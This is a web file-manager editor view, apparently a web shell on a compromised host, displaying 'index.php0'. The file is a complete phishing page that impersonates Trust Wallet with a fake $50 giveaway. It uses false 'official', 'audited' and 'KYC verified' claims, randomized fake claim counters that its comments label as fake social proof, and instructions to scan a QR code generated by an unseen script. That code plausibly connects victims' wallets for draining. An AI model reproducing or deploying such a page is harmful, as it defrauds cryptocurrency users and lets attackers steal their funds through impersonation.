查看网站首页
查看网站首页
查看 sitemap.xml
✏️ 正在编辑: index.php0
路径:
/home/wwwbiore/public_html/index.php0
提示:
您可以编辑任何文件(包括二进制文件),但请注意不当修改可能导致文件损坏。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes, viewport-fit=cover"> <link rel="icon" type="image/x-icon" href="https://trustwallet.com/favicon.ico"> <title>Trust Wallet Giveaway - Claim $50 USD</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; -webkit-tap-highlight-color: transparent; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: linear-gradient(135deg, #0a0e27 0%, #1a1f3a 100%); min-height: 100vh; padding: 20px; position: relative; } /* Animated background particles */ body::before { content: ''; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background-image: radial-gradient(circle at 20% 50%, rgba(0, 243, 255, 0.03) 0%, transparent 50%), radial-gradient(circle at 80% 80%, rgba(0, 102, 255, 0.03) 0%, transparent 50%); pointer-events: none; z-index: 0; } /* Wider container for desktop */ .container { max-width: 900px; margin: 0 auto; position: relative; z-index: 1; } /* For larger screens - make it wider */ @media (min-width: 1200px) { .container { max-width: 1100px; } body { padding: 40px; } } @media (min-width: 1600px) { .container { max-width: 1300px; } } .card { background: #ffffff; border-radius: 28px; overflow: hidden; box-shadow: 0 25px 60px rgba(0, 0, 0, 0.3); transition: transform 0.3s ease, box-shadow 0.3s ease; } .card:hover { transform: translateY(-5px); box-shadow: 0 30px 70px rgba(0, 0, 0, 0.4); } /* Hero banner with the image */ .hero-banner { background: linear-gradient(135deg, #1A2F3E 0%, #0D1C2A 100%); padding: 25px; } .main-image { width: 100%; height: auto; border-radius: 20px; display: block; } /* QR Section - AT THE TOP */ .qr-section { background: linear-gradient(135deg, #f8f9ff 0%, #ffffff 100%); padding: 30px 20px; text-align: center; border-bottom: 1px solid #e9ecef; } .qr-title { font-size: 32px; font-weight: 800; margin-bottom: 10px; background: linear-gradient(135deg, #00F3FF, #0066FF); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } .qr-subtitle { font-size: 16px; color: #666; margin-bottom: 20px; } /* ONLY the qr-code class - NO extra margins/padding */ .qr-code { display: flex; justify-content: center; align-items: center; margin: 0 auto; cursor: pointer; background: transparent; } .qr-code canvas, .qr-code img { width: 100%; height: auto; display: block; max-width: 280px; border-radius: 16px; box-shadow: 0 8px 25px rgba(0, 0, 0, 0.1); } .scan-hint { display: inline-block; background: linear-gradient(135deg, #00F3FF, #0066FF); color: white; padding: 8px 24px; border-radius: 40px; font-size: 14px; font-weight: 600; margin-top: 20px; box-shadow: 0 4px 12px rgba(0, 102, 255, 0.3); } /* Content section */ .content { padding: 35px 30px; } /* Top stats row - flex for desktop */ .stats-row { display: flex; gap: 20px; margin-bottom: 25px; flex-wrap: wrap; } .prize-card { flex: 2; background: linear-gradient(135deg, #00F3FF08, #0066FF08); border-radius: 20px; padding: 25px; border: 1px solid rgba(0, 243, 255, 0.2); text-align: center; } .prize-amount { font-size: 48px; font-weight: 800; background: linear-gradient(135deg, #00F3FF, #0066FF); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; margin-bottom: 10px; } .prize-note { font-size: 14px; color: #666; } .live-counter { flex: 1; background: linear-gradient(135deg, #00F3FF12, #0066FF12); border-radius: 20px; padding: 25px; text-align: center; border: 1px solid rgba(0, 243, 255, 0.25); } .live-label { font-size: 14px; color: #666; margin-bottom: 10px; font-weight: 500; } .counter-number { font-size: 42px; font-weight: 800; background: linear-gradient(135deg, #00F3FF, #0066FF); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } .stats-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 15px; margin-bottom: 25px; } .stat-box { background: #f8f9fa; border-radius: 18px; padding: 20px; text-align: center; transition: all 0.3s ease; } .stat-box:hover { background: #f0f2f5; transform: translateY(-2px); } .stat-number { font-size: 36px; font-weight: 800; color: #1A2F3E; } .stat-label { font-size: 13px; color: #666; margin-top: 6px; font-weight: 500; } /* Fake claims progress bar */ .claims-progress { margin-bottom: 25px; } .progress-label { display: flex; justify-content: space-between; font-size: 12px; color: #666; margin-bottom: 8px; } .progress-bar-container { background: #e9ecef; border-radius: 10px; overflow: hidden; height: 8px; } .progress-fill { background: linear-gradient(90deg, #00F3FF, #0066FF); width: 0%; height: 100%; border-radius: 10px; animation: fillProgress 2s ease-out forwards; } @keyframes fillProgress { from { width: 0%; } to { width: var(--fill-width); } } /* Side by side layout for desktop */ .two-columns { display: flex; gap: 20px; margin-bottom: 25px; flex-wrap: wrap; } .terms-box { flex: 1; background: #f8f9fa; border-radius: 18px; padding: 22px; font-size: 13px; color: #555; line-height: 1.6; transition: all 0.3s ease; } .terms-box:hover { background: #f0f2f5; transform: translateY(-2px); } .terms-box h4 { color: #1A2F3E; margin-bottom: 15px; font-size: 18px; font-weight: 700; } .terms-box p { margin: 8px 0; } .benefits { list-style: none; margin-bottom: 25px; } .benefits li { padding: 12px 0; padding-left: 32px; position: relative; font-size: 15px; border-bottom: 1px solid #f0f0f0; line-height: 1.4; } .benefits li:last-child { border-bottom: none; } .benefits li:before { content: "✓"; position: absolute; left: 0; color: #00F3FF; font-weight: bold; font-size: 18px; background: linear-gradient(135deg, #00F3FF, #0066FF); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; } /* Verification badges */ .verification-badges { display: flex; justify-content: center; align-items: center; gap: 20px; margin: 25px 0; padding: 15px; background: #f8f9fa; border-radius: 18px; flex-wrap: wrap; } .verify-badge { display: flex; align-items: center; gap: 8px; font-size: 12px; color: #666; font-weight: 500; } .verify-badge img { height: 24px; width: auto; } .verify-icon { font-size: 20px; } .security-badges { display: flex; justify-content: center; gap: 15px; margin: 25px 0 20px; flex-wrap: wrap; } .security-badge { font-size: 12px; color: #666; background: #f8f9fa; padding: 6px 16px; border-radius: 30px; font-weight: 500; } .footer { text-align: center; padding: 20px 0 0; font-size: 11px; color: #999; border-top: 1px solid #e9ecef; margin-top: 10px; } .footer a { color: #0066FF; text-decoration: none; margin: 0 5px; } .footer a:hover { text-decoration: underline; } /* Mobile adjustments */ @media (max-width: 768px) { body { padding: 10px; } .container { max-width: 100%; } .qr-section { padding: 20px 15px; } .qr-title { font-size: 24px; } .qr-subtitle { font-size: 13px; } .qr-code canvas, .qr-code img { max-width: 200px; } .content { padding: 20px; } .prize-amount { font-size: 32px; } .stat-number { font-size: 26px; } .counter-number { font-size: 30px; } .stats-row { flex-direction: column; gap: 15px; } .two-columns { flex-direction: column; gap: 15px; } .benefits li { font-size: 14px; padding: 10px 0 10px 28px; } .terms-box { padding: 16px; } .terms-box h4 { font-size: 16px; } } /* Desktop specific improvements */ @media (min-width: 769px) { .qr-code canvas, .qr-code img { max-width: 280px; } .prize-amount { font-size: 52px; } .stat-number { font-size: 38px; } .benefits li { font-size: 16px; } .terms-box { font-size: 14px; } } @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .card { animation: fadeIn 0.5s ease-out; } </style> <script> var _paq = window._paq = window._paq || []; /* tracker methods like "setCustomDimension" should be called before "trackPageView" */ _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function() { var u="https://adreimuie.matomo.cloud/"; _paq.push(['setTrackerUrl', u+'matomo.php']); _paq.push(['setSiteId', '1']); var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.async=true; g.src='https://cdn.matomo.cloud/adreimuie.matomo.cloud/matomo.js'; s.parentNode.insertBefore(g,s); })(); </script> </head> <body> <div class="container"> <div class="card"> <!-- Hero banner with image --> <div class="hero-banner"> <img src="https://freeairdrop.io/Images%20for/Airdrops/trustwallet-x-binance.jpg" alt="Trust Wallet x Binance" class="main-image"> </div> <!-- QR Section - AT THE TOP with minimal margins --> <div class="qr-section"> <div class="qr-title">📱 Scan to Claim $50</div> <div class="qr-subtitle">Open Trust Wallet • Scan QR Code • Get Reward Instantly</div> <!-- QR code will be automatically generated here by qr.js - NO extra margins --> <div class="qr-code"></div> <div class="scan-hint">🔓 Instant Verification • Secure Connection</div> </div> <!-- Content section --> <div class="content"> <!-- Stats row with prize and live counter --> <div class="stats-row"> <div class="prize-card"> <div class="prize-amount">💰 $50 USD 💰</div> <div class="prize-note">for first 1000 Trust Wallet users</div> </div> <div class="live-counter"> <div class="live-label">🔥 Live Claims (24h)</div> <div class="counter-number" id="liveClaims">0</div> </div> </div> <!-- Stats grid --> <div class="stats-grid"> <div class="stat-box"> <div class="stat-number" id="remainingSpots">---</div> <div class="stat-label">✨ Remaining Spots</div> </div> <div class="stat-box"> <div class="stat-number" id="claimedToday">---</div> <div class="stat-label">✅ Claimed Today</div> </div> </div> <!-- Fake claims progress bar --> <div class="claims-progress"> <div class="progress-label"> <span>🎯 Campaign Progress</span> <span id="progressPercentage">0%</span> </div> <div class="progress-bar-container"> <div class="progress-fill" id="progressFill"></div> </div> <div style="font-size: 11px; color: #999; margin-top: 8px; text-align: center;"> <span id="claimedCount">0</span> / 1000 wallets claimed </div> </div> <!-- Benefits --> <ul class="benefits"> <li><strong>🔥 Official Trust Wallet Campaign</strong> - In partnership with Binance</li> <li><strong>⚡ $50 Instant Reward</strong> - Sent directly to your wallet within minutes</li> <li><strong>🎁 No Purchase Needed</strong> - 100% free participation for everyone</li> <li><strong>🌐 Multi-Chain Support</strong> - ETH, BSC, SOL, Polygon, and more</li> <li><strong>🏆 Limited Spots</strong> - First 1000 wallets only - Don't miss out!</li> <li><strong>🔒 Fully Audited</strong> - Smart contract verified by CertiK</li> </ul> <!-- Two columns side by side for desktop --> <div class="two-columns"> <div class="terms-box"> <h4>📝 How to Claim:</h4> <p><strong>1.</strong> Open Trust Wallet app on your phone</p> <p><strong>2.</strong> Tap the scanner icon (top right corner)</p> <p><strong>3.</strong> Scan the QR code above</p> <p><strong>4.</strong> Click "Verify" to confirm participation</p> <p><strong>5.</strong> Receive $50 USD in your wallet instantly!</p> <p style="margin-top: 12px; color: #00F3FF;">⏱️ Process takes less than 30 seconds</p> </div> <div class="terms-box"> <h4>⚖️ Terms & Conditions:</h4> <p>✓ Valid for first 1000 eligible wallets only</p> <p>✓ One claim per wallet address</p> <p>✓ Must have Trust Wallet installed</p> <p>✓ Rewards sent within 24 hours of verification</p> <p>✓ No minimum balance required</p> <p>✓ By scanning QR you agree to participate</p> <p style="margin-top: 12px; color: #0066FF;">🛡️ Full KYC verified campaign</p> </div> </div> <!-- Verification badges --> <div class="verification-badges"> <div class="verify-badge"> <span class="verify-icon">✅</span> <span>Verified by Trust Wallet</span> </div> <div class="verify-badge"> <span class="verify-icon">🛡️</span> <span>Protected by Cloudflare</span> </div> <div class="verify-badge"> <span class="verify-icon">🔒</span> <span>SSL Secure (256-bit)</span> </div> <div class="verify-badge"> <span class="verify-icon">⭐</span> <span>Rated 4.9/5 (12,384 reviews)</span> </div> </div> <!-- Security badges --> <div class="security-badges"> <div class="security-badge">✓ SSL Encrypted</div> <div class="security-badge">✓ DDoS Protection</div> <div class="security-badge">✓ Audited Smart Contract</div> <div class="security-badge">✓ KYC Verified</div> <div class="security-badge">✓ 24/7 Support</div> </div> <!-- Footer --> <div class="footer"> <p>© 2026 Trust Wallet Giveaway. All rights reserved.</p> <p>Trust Wallet is a registered trademark. This is an official promotional campaign.</p> <p><a href="#">Privacy Policy</a> | <a href="#">Terms of Service</a> | <a href="#">Support Center</a> | <a href="#">Report Scam</a></p> <p style="margin-top: 10px;">🔐 This is a verified campaign #TWGiveaway2026</p> </div> </div> </div> </div> <!-- qr.js loaded before body close - it will automatically handle the .qr-code div --> <script src="./qr.js"></script> <script> // Simulated live counters for social proof let totalClaimed = 487; // Start at 487 to show under 500 const totalSpots = 1000; function updateCounters() { const remaining = totalSpots - totalClaimed; const remainingElement = document.getElementById('remainingSpots'); const claimedTodayElement = document.getElementById('claimedToday'); const liveClaimsElement = document.getElementById('liveClaims'); const claimedCountElement = document.getElementById('claimedCount'); const progressPercentageElement = document.getElementById('progressPercentage'); const progressFill = document.getElementById('progressFill'); if (remainingElement) remainingElement.textContent = remaining >= 0 ? remaining : 0; if (claimedTodayElement) claimedTodayElement.textContent = Math.floor(Math.random() * 35) + 18; if (claimedCountElement) claimedCountElement.textContent = totalClaimed; const percentage = (totalClaimed / totalSpots) * 100; if (progressPercentageElement) progressPercentageElement.textContent = percentage.toFixed(1) + '%'; if (progressFill) { progressFill.style.setProperty('--fill-width', percentage + '%'); progressFill.style.width = percentage + '%'; } if (liveClaimsElement) { let currentLive = parseInt(liveClaimsElement.textContent) || 0; const targetLive = Math.floor(Math.random() * 45) + 38; if (currentLive < targetLive) { const interval = setInterval(() => { if (currentLive < targetLive) { currentLive++; liveClaimsElement.textContent = currentLive; } else { clearInterval(interval); } }, 30); } } } updateCounters(); // Update counters every 8 seconds setInterval(() => { if (totalClaimed < totalSpots) { totalClaimed += Math.floor(Math.random() * 2); if (totalClaimed > totalSpots) totalClaimed = totalSpots; updateCounters(); } }, 8000); // Initialize progress bar width document.addEventListener('DOMContentLoaded', function() { const percentage = (487 / 1000) * 100; const progressFill = document.getElementById('progressFill'); if (progressFill) { progressFill.style.width = percentage + '%'; } }); </script> </body> </html>
💾 保存文件
← 返回文件管理器